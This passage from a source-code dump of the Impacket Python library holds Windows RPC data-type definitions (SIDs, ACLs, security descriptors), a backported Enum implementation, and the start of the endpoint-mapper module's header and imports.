)\n\n# 2.3.3 LARGE_INTEGER\nLARGE_INTEGER = NDRHYPER\nclass PLARGE_INTEGER(NDRPOINTER):\n    referent = (\n        ('Data', LARGE_INTEGER),\n    )\n\n# 2.3.5 LUID\nclass LUID(NDRSTRUCT):\n    structure = (\n        ('LowPart', DWORD),\n        ('HighPart', LONG),\n    )\n\n# 2.3.8 RPC_UNICODE_STRING\nclass RPC_UNICODE_STRING(NDRSTRUCT):\n    # Here we're doing some tricks to make this data type\n    # easier to use. It's exactly the same as defined. I changed the\n    # Buffer name for Data, so users can write directly to the datatype\n    # instead of writing to datatype['Buffer'].\n    # The drawback is you cannot directly access the Length and \n    # MaximumLength fields. \n    # If you really need it, you will need to do it this way:\n    # class TT(NDRCALL):\n    # structure = (\n    #     ('str1', RPC_UNICODE_STRING),\n    #  )\n    # \n    # nn = TT()\n    # nn.fields['str1'].fields['MaximumLength'] = 30\n    structure = (\n        ('Length','<H=0'),\n        ('MaximumLength','<H=0'),\n        ('Data',LPWSTR),\n    )\n\n    def __setitem__(self, key, value):\n        if key == 'Data' and isinstance(value, NDR) is False:\n            try:\n                value.encode('utf-16le')\n            except UnicodeDecodeError:\n                import sys\n                value = value.decode(sys.getfilesystemencoding())\n            self['Length'] = len(value)*2\n            self['MaximumLength'] = len(value)*2\n        return NDRSTRUCT.__setitem__(self, key, value)\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        if msg != '':\n            print(\"%s\" % msg, end=' ')\n\n        if isinstance(self.fields['Data'] , NDRPOINTERNULL):\n            print(\" NULL\", end=' ')\n        elif self.fields['Data']['ReferentID'] == 0:\n            print(\" NULL\", end=' ')\n        else:\n            return self.fields['Data'].dump('',indent)\n\nclass PRPC_UNICODE_STRING(NDRPOINTER):\n    referent = (\n       ('Data', RPC_UNICODE_STRING ),\n    )\n\n# 2.3.9 OBJECT_TYPE_LIST\nACCESS_MASK = DWORD\nclass OBJECT_TYPE_LIST(NDRSTRUCT):\n    structure = (\n        ('Level', WORD),\n        ('Remaining',ACCESS_MASK),\n        ('ObjectType',PGUID),\n    )\n\nclass POBJECT_TYPE_LIST(NDRPOINTER):\n    referent = (\n       ('Data', OBJECT_TYPE_LIST ),\n    )\n\n# 2.3.13 SYSTEMTIME\nclass SYSTEMTIME(NDRSTRUCT):\n    structure = (\n        ('wYear', WORD),\n        ('wMonth', WORD),\n        ('wDayOfWeek', WORD),\n        ('wDay', WORD),\n        ('wHour', WORD),\n        ('wMinute', WORD),\n        ('wSecond', WORD),\n        ('wMilliseconds', WORD),\n    )\n\nclass PSYSTEMTIME(NDRPOINTER):\n    referent = (\n       ('Data', SYSTEMTIME ),\n    )\n\n# 2.3.15 ULARGE_INTEGER\nclass ULARGE_INTEGER(NDRSTRUCT):\n    structure = (\n        ('QuadPart', LONG64),\n    )\n\nclass PULARGE_INTEGER(NDRPOINTER):\n    referent = (\n        ('Data', ULARGE_INTEGER),\n    )\n\n# 2.4.2.2 SID--Packet Representation\n# This SID structure is a packet representation of the SID type for use by block protocols.\nclass SID_IDENTIFIER_AUTHORITY(Structure):\n    structure = (\n        ('Value', '6s'),\n    )\n\nclass SID(Structure):\n    structure = (\n        ('Revision', '<B'),\n        ('SubAuthorityCount', '<B'),\n        ('IdentifierAuthority', ':', SID_IDENTIFIER_AUTHORITY),\n        ('SubLen', '_-SubAuthority', 'self[\"SubAuthorityCount\"]*4'),\n        ('SubAuthority', ':'),\n    )\n\n    def formatCanonical(self):\n        ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6]))\n        for i in range(self['SubAuthorityCount']):\n            ans += '-%d' % (unpack('<L', self['SubAuthority'][i * 4:i * 4 + 4])[0])\n        return ans\n\n    def fromCanonical(self, canonical):\n        items = canonical.split('-')\n        self['Revision'] = int(items[1])\n        self['IdentifierAuthority'] = SID_IDENTIFIER_AUTHORITY()\n        self['IdentifierAuthority']['Value'] = b'\\x00\\x00\\x00\\x00\\x00' + pack('B', int(items[2]))\n        self['SubAuthorityCount'] = len(items) - 3\n        self['SubAuthority'] = b''\n        for i in range(self['SubAuthorityCount']):\n            self['SubAuthority'] += pack('<L', int(items[i + 3]))\n\n# 2.4.2.3 RPC_SID\n# The RPC_SID structure is an IDL representation of the SID type for use by RPC-based protocols.\nclass DWORD_ARRAY(NDRUniConformantArray):\n    item = '<L'\n\nclass RPC_SID_IDENTIFIER_AUTHORITY(NDRUniFixedArray):\n    align = 1\n    align64 = 1\n    def getDataLen(self, data, offset=0):\n        return 6\n\nclass RPC_SID(NDRSTRUCT):\n    structure = (\n        ('Revision',NDRSMALL),\n        ('SubAuthorityCount',NDRSMALL),\n        ('IdentifierAuthority',RPC_SID_IDENTIFIER_AUTHORITY),\n        ('SubAuthority',DWORD_ARRAY),\n    )\n    def getData(self, soFar = 0):\n        self['SubAuthorityCount'] = len(self['SubAuthority'])\n        return NDRSTRUCT.getData(self, soFar)\n\n    def fromCanonical(self, canonical):\n        items = canonical.split('-')\n        self['Revision'] = int(items[1])\n        self['IdentifierAuthority'] = b'\\x00\\x00\\x00\\x00\\x00' + pack('B',int(items[2]))\n        self['SubAuthorityCount'] = len(items) - 3\n        for i in range(self['SubAuthorityCount']):\n            self['SubAuthority'].append(int(items[i+3]))\n\n    def formatCanonical(self):\n        ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority'][5:6]))\n        for i in range(self['SubAuthorityCount']):\n            ans += '-%d' % self['SubAuthority'][i]\n        return ans\n\nclass PRPC_SID(NDRPOINTER):\n    referent = (\n        ('Data', RPC_SID),\n    )\n\nPSID = PRPC_SID\n\n# 2.4.3 ACCESS_MASK\nGENERIC_READ            = 0x80000000\nGENERIC_WRITE           = 0x40000000\nGENERIC_EXECUTE         = 0x20000000\nGENERIC_ALL             = 0x10000000\nMAXIMUM_ALLOWED         = 0x02000000\nACCESS_SYSTEM_SECURITY  = 0x01000000\nSYNCHRONIZE             = 0x00100000\nWRITE_OWNER             = 0x00080000\nWRITE_DACL              = 0x00040000\nREAD_CONTROL            = 0x00020000\nDELETE                  = 0x00010000\n\n# 2.4.5.1 ACL--RPC Representation\nclass ACL(NDRSTRUCT):\n    structure = (\n        ('AclRevision',NDRSMALL),\n        ('Sbz1',NDRSMALL),\n        ('AclSize',NDRSHORT),\n        ('AceCount',NDRSHORT),\n        ('Sbz2',NDRSHORT),\n    )\n\nclass PACL(NDRPOINTER):\n    referent = (\n        ('Data', ACL),\n    )\n\n# 2.4.6.1 SECURITY_DESCRIPTOR--RPC Representation\nclass SECURITY_DESCRIPTOR(NDRSTRUCT):\n    structure = (\n        ('Revision',UCHAR),\n        ('Sbz1',UCHAR),\n        ('Control',USHORT),\n        ('Owner',PSID),\n        ('Group',PSID),\n        ('Sacl',PACL),\n        ('Dacl',PACL),\n    )\n\n# 2.4.7 SECURITY_INFORMATION\nOWNER_SECURITY_INFORMATION            = 0x00000001\nGROUP_SECURITY_INFORMATION            = 0x00000002\nDACL_SECURITY_INFORMATION             = 0x00000004\nSACL_SECURITY_INFORMATION             = 0x00000008\nLABEL_SECURITY_INFORMATION            = 0x00000010\nUNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000\nUNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000\nPROTECTED_SACL_SECURITY_INFORMATION   = 0x40000000\nPROTECTED_DACL_SECURITY_INFORMATION   = 0x80000000\nATTRIBUTE_SECURITY_INFORMATION        = 0x00000020\nSCOPE_SECURITY_INFORMATION            = 0x00000040\nBACKUP_SECURITY_INFORMATION           = 0x00010000\n\nSECURITY_INFORMATION = DWORD\nclass PSECURITY_INFORMATION(NDRPOINTER):\n    referent = (\n        ('Data', SECURITY_INFORMATION),\n    )\n"
  },
  {
    "path": "impacket/dcerpc/v5/enum.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\"\"\"Python Enumerations\"\"\"\n\nimport sys as _sys\n\n__all__ = ['Enum', 'IntEnum', 'unique']\n\npyver = float('%s.%s' % _sys.version_info[:2])\n\ntry:\n    any\nexcept NameError:\n    def any(iterable):\n        for element in iterable:\n            if element:\n                return True\n        return False\n\n\nclass _RouteClassAttributeToGetattr(object):\n    \"\"\"Route attribute access on a class to __getattr__.\n\n    This is a descriptor, used to define attributes that act differently when\n    accessed through an instance and through a class.  Instance access remains\n    normal, but access to an attribute through a class will be routed to the\n    class's __getattr__ method; this is done by raising AttributeError.\n\n    \"\"\"\n    def __init__(self, fget=None):\n        self.fget = fget\n\n    def __get__(self, instance, ownerclass=None):\n        if instance is None:\n            raise AttributeError()\n        return self.fget(instance)\n\n    def __set__(self, instance, value):\n        raise AttributeError(\"can't set attribute\")\n\n    def __delete__(self, instance):\n        raise AttributeError(\"can't delete attribute\")\n\n\ndef _is_descriptor(obj):\n    \"\"\"Returns True if obj is a descriptor, False otherwise.\"\"\"\n    return (\n            hasattr(obj, '__get__') or\n            hasattr(obj, '__set__') or\n            hasattr(obj, '__delete__'))\n\n\ndef _is_dunder(name):\n    \"\"\"Returns True if a __dunder__ name, False otherwise.\"\"\"\n    return (name[:2] == name[-2:] == '__' and\n            name[2:3] != '_' and\n            name[-3:-2] != '_' and\n            len(name) > 4)\n\n\ndef _is_sunder(name):\n    \"\"\"Returns True if a _sunder_ name, False otherwise.\"\"\"\n    return (name[0] == name[-1] == '_' and \n            name[1:2] != '_' and\n            name[-2:-1] != '_' and\n            len(name) > 2)\n\n\ndef _make_class_unpicklable(cls):\n    \"\"\"Make the given class un-picklable.\"\"\"\n    def _break_on_call_reduce(self):\n        raise TypeError('%r cannot be pickled' % self)\n    cls.__reduce__ = _break_on_call_reduce\n    cls.__module__ = '<unknown>'\n\n\nclass _EnumDict(dict):\n    \"\"\"Track enum member order and ensure member names are not reused.\n\n    EnumMeta will use the names found in self._member_names as the\n    enumeration member names.\n\n    \"\"\"\n    def __init__(self):\n        super(_EnumDict, self).__init__()\n        self._member_names = []\n\n    def __setitem__(self, key, value):\n        \"\"\"Changes anything not dundered or not a descriptor.\n\n        If a descriptor is added with the same name as an enum member, the name\n        is removed from _member_names (this may leave a hole in the numerical\n        sequence of values).\n\n        If an enum member name is used twice, an error is raised; duplicate\n        values are not checked for.\n\n        Single underscore (sunder) names are reserved.\n\n        Note:   in 3.x __order__ is simply discarded as a not necessary piece\n                leftover from 2.x\n\n        \"\"\"\n        if pyver >= 3.0 and key == '__order__':\n                return\n        if _is_sunder(key):\n            raise ValueError('_names_ are reserved for future Enum use')\n        elif _is_dunder(key):\n            pass\n        elif key in self._member_names:\n            # descriptor overwriting an enum?\n            raise TypeError('Attempted to reuse key: %r' % key)\n        elif not _is_descriptor(value):\n            if key in self:\n                # enum overwriting a descriptor?\n                raise TypeError('Key already defined as: %r' % self[key])\n            self._member_names.append(key)\n        super(_EnumDict, self).__setitem__(key, value)\n\n\n# Dummy value for Enum as EnumMeta explicitly checks for it, but of course until\n# EnumMeta finishes running the first time the Enum class doesn't exist.  This\n# is also why there are checks in EnumMeta like `if Enum is not None`\nEnum = None\n\n\nclass EnumMeta(type):\n    \"\"\"Metaclass for Enum\"\"\"\n    @classmethod\n    def __prepare__(metacls, cls, bases):\n        return _EnumDict()\n\n    def __new__(metacls, cls, bases, classdict):\n        # an Enum class is final once enumeration items have been defined; it\n        # cannot be mixed with other types (int, float, etc.) if it has an\n        # inherited __new__ unless a new __new__ is defined (or the resulting\n        # class will fail).\n        if type(classdict) is dict:\n            original_dict = classdict\n            classdict = _EnumDict()\n            for k, v in original_dict.items():\n                classdict[k] = v\n\n        member_type, first_enum = metacls._get_mixins_(bases)\n        #if member_type is object:\n        #    use_args = False\n        #else:\n        #    use_args = True\n        __new__, save_new, use_args = metacls._find_new_(classdict, member_type,\n                                                        first_enum)\n        # save enum items into separate mapping so they don't get baked into\n        # the new class\n        members = dict((k, classdict[k]) for k in classdict._member_names)\n        for name in classdict._member_names:\n            del classdict[name]\n\n        # py2 support for definition order\n        __order__ = classdict.get('__order__')\n        if __order__ is None:\n            __order__ = classdict._member_names\n            if pyver < 3.0:\n                order_specified = False\n            else:\n                order_specified = True\n        else:\n            del classdict['__order__']\n            order_specified = True\n            if pyver < 3.0:\n                __order__ = __order__.replace(',', ' ').split()\n                aliases = [name for name in members if name not in __order__]\n                __order__ += aliases\n\n        # check for illegal enum names (any others?)\n        invalid_names = set(members) & set(['mro'])\n        if invalid_names:\n            raise ValueError('Invalid enum member name(s): %s' % (\n                ', '.join(invalid_names), ))\n\n        # create our new Enum type\n        enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict)\n        enum_class._member_names_ = []               # names in random order\n        enum_class._member_map_ = {}                 # name->value map\n        enum_class._member_type_ = member_type\n\n        # Reverse value->name map for hashable values.\n        enum_class._value2member_map_ = {}\n\n        # check for a __getnewargs__, and if not present sabotage\n        # pickling, since it won't work anyway\n        if (member_type is not object and\n            member_type.__dict__.get('__getnewargs__') is None\n            ):\n            _make_class_unpicklable(enum_class)\n\n        # instantiate them, checking for duplicates as we go\n        # we instantiate first instead of checking for duplicates first in case\n        # a custom __new__ is doing something funky with the values -- such as\n        # auto-numbering ;)\n        if __new__ is None:\n            __new__ = enum_class.__new__\n        for member_name in __order__:\n            value = members[member_name]\n            if not isinstance(value, tuple):\n                args = (value, )\n            else:\n                args = value\n            if member_type is tuple:   # special case for tuple enums\n                args = (args, )     # wrap it one more time\n            if not use_args or not args:\n                enum_member = __new__(enum_class)\n                if not hasattr(enum_member, '_value_'):\n                    enum_member._value_ = value\n            else:\n                enum_member = __new__(enum_class, *args)\n                if not hasattr(enum_member, '_value_'):\n                    enum_member._value_ = member_type(*args)\n            value = enum_member._value_\n            enum_member._name_ = member_name\n            enum_member.__objclass__ = enum_class\n            enum_member.__init__(*args)\n            # If another member with the same value was already defined, the\n            # new member becomes an alias to the existing one.\n            for name, canonical_member in enum_class._member_map_.items():\n                if canonical_member.value == enum_member._value_:\n                    enum_member = canonical_member\n                    break\n            else:\n                # Aliases don't appear in member names (only in __members__).\n                enum_class._member_names_.append(member_name)\n            enum_class._member_map_[member_name] = enum_member\n            try:\n                # This may fail if value is not hashable. We can't add the value\n                # to the map, and by-value lookups for this value will be\n                # linear.\n                enum_class._value2member_map_[value] = enum_member\n            except TypeError:\n                pass\n\n        # in Python2.x we cannot know definition order, so go with value order\n        # unless __order__ was specified in the class definition\n        if not order_specified:\n            enum_class._member_names_ = [\n                e[0] for e in sorted(\n                [(name, enum_class._member_map_[name]) for name in enum_class._member_names_],\n                 key=lambda t: t[1]._value_\n                        )]\n\n        # double check that repr and friends are not the mixin's or various\n        # things break (such as pickle)\n        if Enum is not None:\n            setattr(enum_class, '__getnewargs__', Enum.__getnewargs__)\n        for name in ('__repr__', '__str__', '__format__'):\n            class_method = getattr(enum_class, name)\n            obj_method = getattr(member_type, name, None)\n            enum_method = getattr(first_enum, name, None)\n            if obj_method is not None and obj_method is class_method:\n                setattr(enum_class, name, enum_method)\n\n        # method resolution and int's are not playing nice\n        # Python's less than 2.6 use __cmp__\n\n        if pyver < 2.6:\n\n            if issubclass(enum_class, int):\n                setattr(enum_class, '__cmp__', getattr(int, '__cmp__'))\n\n        elif pyver < 3.0:\n\n            if issubclass(enum_class, int):\n                for method in (\n                        '__le__',\n                        '__lt__',\n                        '__gt__',\n                        '__ge__',\n                        '__eq__',\n                        '__ne__',\n                        '__hash__',\n                        ):\n                    setattr(enum_class, method, getattr(int, method))\n\n        # replace any other __new__ with our own (as long as Enum is not None,\n        # anyway) -- again, this is to support pickle\n        if Enum is not None:\n            # if the user defined their own __new__, save it before it gets\n            # clobbered in case they subclass later\n            if save_new:\n                setattr(enum_class, '__member_new__', enum_class.__dict__['__new__'])\n            setattr(enum_class, '__new__', Enum.__dict__['__new__'])\n        return enum_class\n\n    def __call__(cls, value, names=None, module=None, type=None):\n        \"\"\"Either returns an existing member, or creates a new enum class.\n\n        This method is used both when an enum class is given a value to match\n        to an enumeration member (i.e. Color(3)) and for the functional API\n        (i.e. Color = Enum('Color', names='red green blue')).\n\n        When used for the functional API: `module`, if set, will be stored in\n        the new class' __module__ attribute; `type`, if set, will be mixed in\n        as the first base class.\n\n        Note: if `module` is not set this routine will attempt to discover the\n        calling module by walking the frame stack; if this is unsuccessful\n        the resulting class will not be pickleable.\n\n        \"\"\"\n        if names is None:  # simple value lookup\n            return cls.__new__(cls, value)\n        # otherwise, functional API: we're creating a new Enum type\n        return cls._create_(value, names, module=module, type=type)\n\n    def __contains__(cls, member):\n        return isinstance(member, cls) and member.name in cls._member_map_\n\n    def __delattr__(cls, attr):\n        # nicer error message when someone tries to delete an attribute\n        # (see issue19025).\n        if attr in cls._member_map_:\n            raise AttributeError(\n                    \"%s: cannot delete Enum member.\" % cls.__name__)\n        super(EnumMeta, cls).__delattr__(attr)\n\n    def __dir__(self):\n        return (['__class__', '__doc__', '__members__', '__module__'] +\n                self._member_names_)\n\n    @property\n    def __members__(cls):\n        \"\"\"Returns a mapping of member name->value.\n\n        This mapping lists all enum members, including aliases. Note that this\n        is a copy of the internal mapping.\n\n        \"\"\"\n        return cls._member_map_.copy()\n\n    def __getattr__(cls, name):\n        \"\"\"Return the enum member matching `name`\n\n        We use __getattr__ instead of descriptors or inserting into the enum\n        class' __dict__ in order to support `name` and `value` being both\n        properties for enum members (which live in the class' __dict__) and\n        enum members themselves.\n\n        \"\"\"\n        if _is_dunder(name):\n            raise AttributeError(name)\n        try:\n            return cls._member_map_[name]\n        except KeyError:\n            raise AttributeError(name)\n\n    def __getitem__(cls, name):\n        return cls._member_map_[name]\n\n    def __iter__(cls):\n        return (cls._member_map_[name] for name in cls._member_names_)\n\n    def __reversed__(cls):\n        return (cls._member_map_[name] for name in reversed(cls._member_names_))\n\n    def __len__(cls):\n        return len(cls._member_names_)\n\n    def __repr__(cls):\n        return \"<enum %r>\" % cls.__name__\n\n    def __setattr__(cls, name, value):\n        \"\"\"Block attempts to reassign Enum members.\n\n        A simple assignment to the class namespace only changes one of the\n        several possible ways to get an Enum member from the Enum class,\n        resulting in an inconsistent Enumeration.\n\n        \"\"\"\n        member_map = cls.__dict__.get('_member_map_', {})\n        if name in member_map:\n            raise AttributeError('Cannot reassign members.')\n        super(EnumMeta, cls).__setattr__(name, value)\n\n    def _create_(cls, class_name, names=None, module=None, type=None):\n        \"\"\"Convenience method to create a new Enum class.\n\n        `names` can be:\n\n        * A string containing member names, separated either with spaces or\n          commas.  Values are auto-numbered from 1.\n        * An iterable of member names.  Values are auto-numbered from 1.\n        * An iterable of (member name, value) pairs.\n        * A mapping of member name -> value.\n\n        \"\"\"\n        metacls = cls.__class__\n        if type is None:\n            bases = (cls, )\n        else:\n            bases = (type, cls)\n        classdict = metacls.__prepare__(class_name, bases)\n        __order__ = []\n\n        # special processing needed for names?\n        if isinstance(names, str):\n            names = names.replace(',', ' ').split()\n        if isinstance(names, (tuple, list)) and isinstance(names[0], str):\n            names = [(e, i+1) for (i, e) in enumerate(names)]\n\n        # Here, names is either an iterable of (name, value) or a mapping.\n        for item in names:\n            if isinstance(item, str):\n                member_name, member_value = item, names[item]\n            else:\n                member_name, member_value = item\n            classdict[member_name] = member_value\n            __order__.append(member_name)\n        # only set __order__ in classdict if name/value was not from a mapping\n        if not isinstance(item, str):\n            classdict['__order__'] = ' '.join(__order__)\n        enum_class = metacls.__new__(metacls, class_name, bases, classdict)\n\n        # TODO: replace the frame hack if a blessed way to know the calling\n        # module is ever developed\n        if module is None:\n            try:\n                module = _sys._getframe(2).f_globals['__name__']\n            except (AttributeError, ValueError):\n                pass\n        if module is None:\n            _make_class_unpicklable(enum_class)\n        else:\n            enum_class.__module__ = module\n\n        return enum_class\n\n    @staticmethod\n    def _get_mixins_(bases):\n        \"\"\"Returns the type for creating enum members, and the first inherited\n        enum class.\n\n        bases: the tuple of bases that was given to __new__\n\n        \"\"\"\n        if not bases or Enum is None:\n            return object, Enum\n        \n\n        # double check that we are not subclassing a class with existing\n        # enumeration members; while we're at it, see if any other data\n        # type has been mixed in so we can use the correct __new__\n        member_type = first_enum = None\n        for base in bases:\n            if  (base is not Enum and\n                    issubclass(base, Enum) and\n                    base._member_names_):\n                raise TypeError(\"Cannot extend enumerations\")\n        # base is now the last base in bases\n        if not issubclass(base, Enum):\n            raise TypeError(\"new enumerations must be created as \"\n                    \"`ClassName([mixin_type,] enum_type)`\")\n\n        # get correct mix-in type (either mix-in type of Enum subclass, or\n        # first base if last base is Enum)\n        if not issubclass(bases[0], Enum):\n            member_type = bases[0]     # first data type\n            first_enum = bases[-1]  # enum type\n        else:\n            for base in bases[0].__mro__:\n                # most common: (IntEnum, int, Enum, object)\n                # possible:    (<Enum 'AutoIntEnum'>, <Enum 'IntEnum'>,\n                #               <class 'int'>, <Enum 'Enum'>,\n                #               <class 'object'>)\n                if issubclass(base, Enum):\n                    if first_enum is None:\n                        first_enum = base\n                else:\n                    if member_type is None:\n                        member_type = base\n\n        return member_type, first_enum\n\n    if pyver < 3.0:\n        @staticmethod\n        def _find_new_(classdict, member_type, first_enum):\n            \"\"\"Returns the __new__ to be used for creating the enum members.\n\n            classdict: the class dictionary given to __new__\n            member_type: the data type whose __new__ will be used by default\n            first_enum: enumeration to check for an overriding __new__\n\n            \"\"\"\n            # now find the correct __new__, checking to see of one was defined\n            # by the user; also check earlier enum classes in case a __new__ was\n            # saved as __member_new__\n            __new__ = classdict.get('__new__', None)\n            if __new__:\n                return None, True, True      # __new__, save_new, use_args\n\n            N__new__ = getattr(None, '__new__')\n            O__new__ = getattr(object, '__new__')\n            if Enum is None:\n                E__new__ = N__new__\n            else:\n                E__new__ = Enum.__dict__['__new__']\n            # check all possibles for __member_new__ before falling back to\n            # __new__\n            for method in ('__member_new__', '__new__'):\n                for possible in (member_type, first_enum):\n                    try:\n                        target = possible.__dict__[method]\n                    except (AttributeError, KeyError):\n                        target = getattr(possible, method, None)\n                    if target not in [\n                            None,\n                            N__new__,\n                            O__new__,\n                            E__new__,\n                            ]:\n                        if method == '__member_new__':\n                            classdict['__new__'] = target\n                            return None, False, True\n                        if isinstance(target, staticmethod):\n                            target = target.__get__(member_type)\n                        __new__ = target\n                        break\n                if __new__ is not None:\n                    break\n            else:\n                __new__ = object.__new__\n\n            # if a non-object.__new__ is used then whatever value/tuple was\n            # assigned to the enum member name will be passed to __new__ and to the\n            # new enum member's __init__\n            if __new__ is object.__new__:\n                use_args = False\n            else:\n                use_args = True\n\n            return __new__, False, use_args\n    else:\n        @staticmethod\n        def _find_new_(classdict, member_type, first_enum):\n            \"\"\"Returns the __new__ to be used for creating the enum members.\n\n            classdict: the class dictionary given to __new__\n            member_type: the data type whose __new__ will be used by default\n            first_enum: enumeration to check for an overriding __new__\n\n            \"\"\"\n            # now find the correct __new__, checking to see of one was defined\n            # by the user; also check earlier enum classes in case a __new__ was\n            # saved as __member_new__\n            __new__ = classdict.get('__new__', None)\n\n            # should __new__ be saved as __member_new__ later?\n            save_new = __new__ is not None\n\n            if __new__ is None:\n                # check all possibles for __member_new__ before falling back to\n                # __new__\n                for method in ('__member_new__', '__new__'):\n                    for possible in (member_type, first_enum):\n                        target = getattr(possible, method, None)\n                        if target not in (\n                                None,\n                                None.__new__,\n                                object.__new__,\n                                Enum.__new__,\n                                ):\n                            __new__ = target\n                            break\n                    if __new__ is not None:\n                        break\n                else:\n                    __new__ = object.__new__\n\n            # if a non-object.__new__ is used then whatever value/tuple was\n            # assigned to the enum member name will be passed to __new__ and to the\n            # new enum member's __init__\n            if __new__ is object.__new__:\n                use_args = False\n            else:\n                use_args = True\n\n            return __new__, save_new, use_args\n\n\n########################################################\n# In order to support Python 2 and 3 with a single\n# codebase we have to create the Enum methods separately\n# and then use the `type(name, bases, dict)` method to\n# create the class.\n########################################################\ntemp_enum_dict = {}\ntemp_enum_dict['__doc__'] = \"Generic enumeration.\\n\\n    Derive from this class to define new enumerations.\\n\\n\"\n\ndef __new__(cls, value):\n    # all enum instances are actually created during class construction\n    # without calling this method; this method is called by the metaclass'\n    # __call__ (i.e. Color(3) ), and by pickle\n    if type(value) is cls:\n        # For lookups like Color(Color.red)\n        value = value.value\n        #return value\n    # by-value search for a matching enum member\n    # see if it's in the reverse mapping (for hashable values)\n    try:\n        if value in cls._value2member_map_:\n            return cls._value2member_map_[value]\n    except TypeError:\n        # not there, now do long search -- O(n) behavior\n        for member in cls._member_map_.values():\n            if member.value == value:\n                return member\n    raise ValueError(\"%s is not a valid %s\" % (value, cls.__name__))\ntemp_enum_dict['__new__'] = __new__\ndel __new__\n\ndef __repr__(self):\n    return \"<%s.%s: %r>\" % (\n            self.__class__.__name__, self._name_, self._value_)\ntemp_enum_dict['__repr__'] = __repr__\ndel __repr__\n\ndef __str__(self):\n    return \"%s.%s\" % (self.__class__.__name__, self._name_)\ntemp_enum_dict['__str__'] = __str__\ndel __str__\n\ndef __dir__(self):\n    added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_']\n    return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior)\ntemp_enum_dict['__dir__'] = __dir__\ndel __dir__\n\ndef __format__(self, format_spec):\n    # mixed-in Enums should use the mixed-in type's __format__, otherwise\n    # we can get strange results with the Enum name showing up instead of\n    # the value\n\n    # pure Enum branch\n    if self._member_type_ is object:\n        cls = str\n        val = str(self)\n    # mix-in branch\n    else:\n        cls = self._member_type_\n        val = self.value\n    return cls.__format__(val, format_spec)\ntemp_enum_dict['__format__'] = __format__\ndel __format__\n\n\n####################################\n# Python's less than 2.6 use __cmp__\n\nif pyver < 2.6:\n\n    def __cmp__(self, other):\n        if type(other) is self.__class__:\n            if self is other:\n                return 0\n            return -1\n        return NotImplemented\n        raise TypeError(\"unorderable types: %s() and %s()\" % (self.__class__.__name__, other.__class__.__name__))\n    temp_enum_dict['__cmp__'] = __cmp__\n    del __cmp__\n\nelse:\n\n    def __le__(self, other):\n        raise TypeError(\"unorderable types: %s() <= %s()\" % (self.__class__.__name__, other.__class__.__name__))\n    temp_enum_dict['__le__'] = __le__\n    del __le__\n\n    def __lt__(self, other):\n        raise TypeError(\"unorderable types: %s() < %s()\" % (self.__class__.__name__, other.__class__.__name__))\n    temp_enum_dict['__lt__'] = __lt__\n    del __lt__\n\n    def __ge__(self, other):\n        raise TypeError(\"unorderable types: %s() >= %s()\" % (self.__class__.__name__, other.__class__.__name__))\n    temp_enum_dict['__ge__'] = __ge__\n    del __ge__\n\n    def __gt__(self, other):\n        raise TypeError(\"unorderable types: %s() > %s()\" % (self.__class__.__name__, other.__class__.__name__))\n    temp_enum_dict['__gt__'] = __gt__\n    del __gt__\n    \n\ndef __eq__(self, other):\n    if type(other) is self.__class__:\n        return self is other\n    return NotImplemented\ntemp_enum_dict['__eq__'] = __eq__\ndel __eq__\n\ndef __ne__(self, other):\n    if type(other) is self.__class__:\n        return self is not other\n    return NotImplemented\ntemp_enum_dict['__ne__'] = __ne__\ndel __ne__\n\ndef __getnewargs__(self):\n    return (self._value_, )\ntemp_enum_dict['__getnewargs__'] = __getnewargs__\ndel __getnewargs__\n\ndef __hash__(self):\n    return hash(self._name_)\ntemp_enum_dict['__hash__'] = __hash__\ndel __hash__\n\n# _RouteClassAttributeToGetattr is used to provide access to the `name`\n# and `value` properties of enum members while keeping some measure of\n# protection from modification, while still allowing for an enumeration\n# to have members named `name` and `value`.  This works because enumeration\n# members are not set directly on the enum class -- __getattr__ is\n# used to look them up.\n\n@_RouteClassAttributeToGetattr\ndef name(self):\n    return self._name_\ntemp_enum_dict['name'] = name\ndel name\n\n@_RouteClassAttributeToGetattr\ndef value(self):\n    return self._value_\ntemp_enum_dict['value'] = value\ndel value\n\nEnum = EnumMeta('Enum', (object, ), temp_enum_dict)\ndel temp_enum_dict\n\n# Enum has now been created\n###########################\n\nclass IntEnum(int, Enum):\n    \"\"\"Enum where members are also (and must be) ints\"\"\"\n\n\ndef unique(enumeration):\n    \"\"\"Class decorator that ensures only unique members exist in an enumeration.\"\"\"\n    duplicates = []\n    for name, member in enumeration.__members__.items():\n        if name != member.name:\n            duplicates.append((name, member.name))\n    if duplicates:\n        duplicate_names = ', '.join(\n                [\"%s -> %s\" % (alias, name) for (alias, name) in duplicates]\n                )\n        raise ValueError('duplicate names found in %r: %s' %\n                (enumeration, duplicate_names)\n                )\n    return enumeration\n"
  },
  {
    "path": "impacket/dcerpc/v5/epm.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-RPCE]-C706 Interface implementation for the remote portmapper\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nimport socket\nfrom struct import unpack\nfrom six import b\n\nfrom impacket.uuid import uuidtup_to_bin, bin_to_string\nfrom impacket.dcerpc.v5 import transport\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantVaryingArray, NDRUniVaryingArray, \\\n    NDRUniConformantArray\nfrom impacket.dcerpc.v5.dtypes import UUID, LPBYTE, PUUID, ULONG, USHORT\nfrom impacket.structure import Structure\nfrom 